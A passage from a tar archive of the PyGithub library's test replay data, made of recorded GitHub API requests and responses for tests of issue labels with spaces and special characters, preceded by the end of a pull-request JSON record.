":"https://api.github.com/repos/iyovcheva/brooklyn-server/deployments","created_at":"2016-02-10T08:15:16Z","updated_at":"2016-02-10T08:15:26Z","pushed_at":"2016-11-25T12:50:52Z","git_url":"git://github.com/iyovcheva/brooklyn-server.git","ssh_url":"git@github.com:iyovcheva/brooklyn-server.git","clone_url":"https://github.com/iyovcheva/brooklyn-server.git","svn_url":"https://github.com/iyovcheva/brooklyn-server","homepage":null,"size":32053,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":2,"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"apache:master","ref":"master","sha":"870986bd96d1fc15d66ca3f249ae86dbc93eafc7","user":{"login":"apache","id":47359,"avatar_url":"https://avatars.githubusercontent.com/u/47359?v=3","gravatar_id":"","url":"https://api.github.com/users/apache","html_url":"https://github.com/apache","followers_url":"https://api.github.com/users/apache/followers","following_url":"https://api.github.com/users/apache/following{/other_user}","gists_url":"https://api.github.com/users/apache/gists{/gist_id}","starred_url":"https://api.github.com/users/apache/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apache/subscriptions","organizations_url":"https://api.github.com/users/apache/orgs","repos_url":"https://api.github.com/users/apache/repos","events_url":"https://api.github.com/users/apache/events{/privacy}","received_events_url":"https://api.github.com/users/apache/received_events","type":"Organization","site_admin":false},"repo":{"id":47246081,"name":"brooklyn-server","full_name":"apache/brooklyn-server","owner":{"login":"apache","id":47359,"avatar_url":"https://avatars.githubusercontent.com/u/47359?v=3","gravatar_id":"","url":"https://api.github.com/users/apache","html_url":"https://github.com/apache","followers_url":"https://api.github.com/users/apache/followers","following_url":"https://api.github.com/users/apache/following{/other_user}","gists_url":"https://api.github.com/users/apache/gists{/gist_id}","starred_url":"https://api.github.com/users/apache/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apache/subscriptions","organizations_url":"https://api.github.com/users/apache/orgs","repos_url":"https://api.github.com/users/apache/repos","events_url":"https://api.github.com/users/apache/events{/privacy}","received_events_url":"https://api.github.com/users/apache/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/apache/brooklyn-server","description":"Mirror of Apache Brooklyn server","fork":false,"url":"https://api.github.com/repos/apache/brooklyn-server","forks_url":"https://api.github.com/repos/apache/brooklyn-server/forks","keys_url":"https://api.github.com/repos/apache/brooklyn-server/keys{/key_id}","collaborators_url":"https://api.github.com/repos/apache/brooklyn-server/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/apache/brooklyn-server/teams","hooks_url":"https://api.github.com/repos/apache/brooklyn-server/hooks","issue_events_url":"https://api.github.com/repos/apache/brooklyn-server/issues/events{/number}","events_url":"https://api.github.com/repos/apache/brooklyn-server/events","assignees_url":"https://api.github.com/repos/apache/brooklyn-server/assignees{/user}","branches_url":"https://api.github.com/repos/apache/brooklyn-server/branches{/branch}","tags_url":"https://api.github.com/repos/apache/brooklyn-server/tags","blobs_url":"https://api.github.com/repos/apache/brooklyn-server/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/apache/brooklyn-server/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/apache/brooklyn-server/git/refs{/sha}","trees_url":"https://api.github.com/repos/apache/brooklyn-server/git/trees{/sha}","statuses_url":"https://api.github.com/repos/apache/brooklyn-server/statuses/{sha}","languages_url":"https://api.github.com/repos/apache/brooklyn-server/languages","stargazers_url":"https://api.github.com/repos/apache/brooklyn-server/stargazers","contributors_url":"https://api.github.com/repos/apache/brooklyn-server/contributors","subscribers_url":"https://api.github.com/repos/apache/brooklyn-server/subscribers","subscription_url":"https://api.github.com/repos/apache/brooklyn-server/subscription","commits_url":"https://api.github.com/repos/apache/brooklyn-server/commits{/sha}","git_commits_url":"https://api.github.com/repos/apache/brooklyn-server/git/commits{/sha}","comments_url":"https://api.github.com/repos/apache/brooklyn-server/comments{/number}","issue_comment_url":"https://api.github.com/repos/apache/brooklyn-server/issues/comments{/number}","contents_url":"https://api.github.com/repos/apache/brooklyn-server/contents/{+path}","compare_url":"https://api.github.com/repos/apache/brooklyn-server/compare/{base}...{head}","merges_url":"https://api.github.com/repos/apache/brooklyn-server/merges","archive_url":"https://api.github.com/repos/apache/brooklyn-server/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/apache/brooklyn-server/downloads","issues_url":"https://api.github.com/repos/apache/brooklyn-server/issues{/number}","pulls_url":"https://api.github.com/repos/apache/brooklyn-server/pulls{/number}","milestones_url":"https://api.github.com/repos/apache/brooklyn-server/milestones{/number}","notifications_url":"https://api.github.com/repos/apache/brooklyn-server/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/apache/brooklyn-server/labels{/name}","releases_url":"https://api.github.com/repos/apache/brooklyn-server/releases{/id}","deployments_url":"https://api.github.com/repos/apache/brooklyn-server/deployments","created_at":"2015-12-02T08:00:06Z","updated_at":"2016-11-01T11:09:27Z","pushed_at":"2016-11-29T17:32:56Z","git_url":"git://github.com/apache/brooklyn-server.git","ssh_url":"git@github.com:apache/brooklyn-server.git","clone_url":"https://github.com/apache/brooklyn-server.git","svn_url":"https://github.com/apache/brooklyn-server","homepage":null,"size":33116,"stargazers_count":13,"watchers_count":13,"language":"Java","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":40,"mirror_url":"git://git.apache.org/brooklyn-server.git","open_issues_count":19,"forks":40,"open_issues":19,"watchers":13,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465"},"html":{"href":"https://github.com/apache/brooklyn-server/pull/465"},"issue":{"href":"https://api.github.com/repos/apache/brooklyn-server/issues/465"},"comments":{"href":"https://api.github.com/repos/apache/brooklyn-server/issues/465/comments"},"review_comments":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/comments"},"review_comment":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/commits"},"statuses":{"href":"https://api.github.com/repos/apache/brooklyn-server/statuses/68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5"}},"merged":false,"mergeable":true,"mergeable_state":"unstable","merged_by":null,"comments":1,"review_comments":0,"commits":1,"additions":32,"deletions":7,"changed_files":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.setUp.txt0000644000175100001660000001346414756101563021263 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4892'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 15 Jun 2012 15:37:06 GMT'), ('connection', 'keep-alive'), ('etag', '"41ade9c2e4794dd5214bb5f497af92cb"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] {"following":24,"created_at":"2010-07-09T06:10:06Z","type":"User","private_gists":5,"public_repos":11,"followers":13,"hireable":false,"html_url":"https://github.com/jacquev6","bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","disk_usage":16820,"blog":"http://vincent-jacques.net","location":"Paris, France","total_private_repos":5,"login":"jacquev6","owned_private_repos":5,"collaborators":0,"name":"Vincent Jacques","company":"Criteo","url":"https://api.github.com/users/jacquev6","plan":{"space":614400,"private_repos":5,"collaborators":1,"name":"micro"},"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_gists":3,"email":"vincent@vincent-jacques.net"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1154'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4891'), ('server', 'nginx/1.0.13'), ('last-modified', 'Tue, 26 Jun 2012 12:30:06 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eb3fdb98c65995892b016162b91ad68c"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"homepage":"http://vincent-jacques.net/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"open_issues":12,"mirror_url":null,"git_url":"git://github.com/jacquev6/PyGithub.git","permissions":{"push":true,"admin":true,"pull":true},"description":"Python library implementing the full Github API v3","master_branch":"master","has_issues":true,"svn_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub","has_downloads":true,"size":184,"fork":false,"created_at":"2012-02-25T12:53:47Z","html_url":"https://github.com/jacquev6/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","language":"Python","clone_url":"https://github.com/jacquev6/PyGithub.git","private":false,"pushed_at":"2012-06-20T21:03:27Z","id":3544490,"forks":5,"has_wiki":false,"watchers":29,"ssh_url":"git@github.com:jacquev6/PyGithub.git","updated_at":"2012-06-26T12:30:06Z"} https GET api.github.com None /repos/jacquev6/PyGithub/issues/50 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '2169'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4890'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 27 Jun 2012 22:46:10 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bb61450865a934ca7ee53d6dde588876"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}],"body":null,"state":"open","closed_at":null,"assignee":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"comments":2,"title":"[Issue] Replace label _identity with name","created_at":"2012-06-25T18:45:05Z","number":50,"milestone":{"open_issues":3,"state":"open","due_on":"2012-07-01T07:00:00Z","description":"","creator":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":0,"title":"Version 1.2","created_at":"2012-06-25T19:31:02Z","number":6,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","id":136827},"html_url":"https://github.com/jacquev6/PyGithub/issues/50","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","closed_by":null,"user":{"login":"philipkimmey","gravatar_id":"6baf93a46e584369e1ea64bc1aca62f4","url":"https://api.github.com/users/philipkimmey","avatar_url":"https://secure.gravatar.com/avatar/6baf93a46e584369e1ea64bc1aca62f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":211079},"id":5256315,"pull_request":{"diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch","html_url":"https://github.com/jacquev6/PyGithub/pull/50"},"updated_at":"2012-06-25T19:33:48Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testAddLabelToIssue.txt0000644000175100001660000000361414756101563024023 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '197'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4918'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:54:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} https POST api.github.com None /repos/jacquev6/PyGithub/issues/50/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Label with spaces and strange characters (&*#$)"] 200 [('status', '200 OK'), ('content-length', '419'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4917'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1d0a1c54608a676af0cdc1f63e04da7"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:54:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testCreateIssueWithLabel.txt0000644000175100001660000000506514756101563025071 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '197'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4908'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:56:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} https POST api.github.com None /repos/jacquev6/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"labels": ["Label with spaces and strange characters (&*#$)"], "title": "Issue created by PyGithub to test issue #50"} 201 [('status', '201 Created'), ('content-length', '963'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4907'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1e5db9ef97e084a3d36ede8dc41c0d9"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/52'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:56:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"labels":[{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":null,"comments":0,"title":"Issue created by PyGithub to test issue #50","created_at":"2012-06-28T19:56:21Z","number":52,"milestone":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/52","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/52","closed_by":null,"user":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"id":5330629,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"updated_at":"2012-06-28T19:56:21Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testCreateLabel.txt0000644000175100001660000000201514756101563023214 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.symmetra-preview+json'} {"color": "ffff00", "name": "Label with spaces and strange characters (&*#$)"} 201 [('status', '201 Created'), ('content-length', '197'), ('etag', '"99cbb3bf0f7ee7d6278c2ddd3ef42577"'), ('x-ratelimit-remaining', '4968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testGetIssuesWithLabel.txt0000644000175100001660000001107314756101563024564 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4894'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '197'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:03:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} https GET api.github.com None /repos/jacquev6/PyGithub/issues?labels=Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '3101'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4893'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:56:21 GMT'), ('connection', 'keep-alive'), ('etag', '"60a85542a2e824eb5fc96c5a99657fff"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:03:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"labels":[{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":null,"comments":0,"title":"Issue created by PyGithub to test issue #50","created_at":"2012-06-28T19:56:21Z","number":52,"milestone":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/52","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/52","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"id":5330629,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"updated_at":"2012-06-28T19:56:21Z"},{"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"comments":2,"title":"[Issue] Replace label _identity with name","created_at":"2012-06-25T18:45:05Z","number":50,"milestone":{"open_issues":3,"state":"open","due_on":"2012-07-01T07:00:00Z","description":"","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":0,"title":"Version 1.2","created_at":"2012-06-25T19:31:02Z","number":6,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","id":136827},"html_url":"https://github.com/jacquev6/PyGithub/issues/50","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","user":{"avatar_url":"https://secure.gravatar.com/avatar/6baf93a46e584369e1ea64bc1aca62f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"philipkimmey","gravatar_id":"6baf93a46e584369e1ea64bc1aca62f4","url":"https://api.github.com/users/philipkimmey","id":211079},"id":5256315,"pull_request":{"diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch","html_url":"https://github.com/jacquev6/PyGithub/pull/50"},"updated_at":"2012-06-25T19:33:48Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testGetLabel.txt0000644000175100001660000000156314756101563022537 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '197'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4964'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:32:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testGetLabels.txt0000644000175100001660000000313614756101563022720 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1015'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4953'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"0b02e1","name":"Refactoring","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring"},{"color":"d7e102","name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface"},{"color":"e102d8","name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities"},{"color":"444444","name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management"},{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testIssueGetLabels.txt0000644000175100001660000000202314756101563023723 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/issues/50/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4903'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '419'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:57:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue50.testRemoveLabelFromIssue.txt0000644000175100001660000000327514756101563025114 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '197'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4937'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:43:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} https DELETE api.github.com None /repos/jacquev6/PyGithub/issues/50/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '221'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f52869e02750b4a36166ec2d23c2f471"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:43:02 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 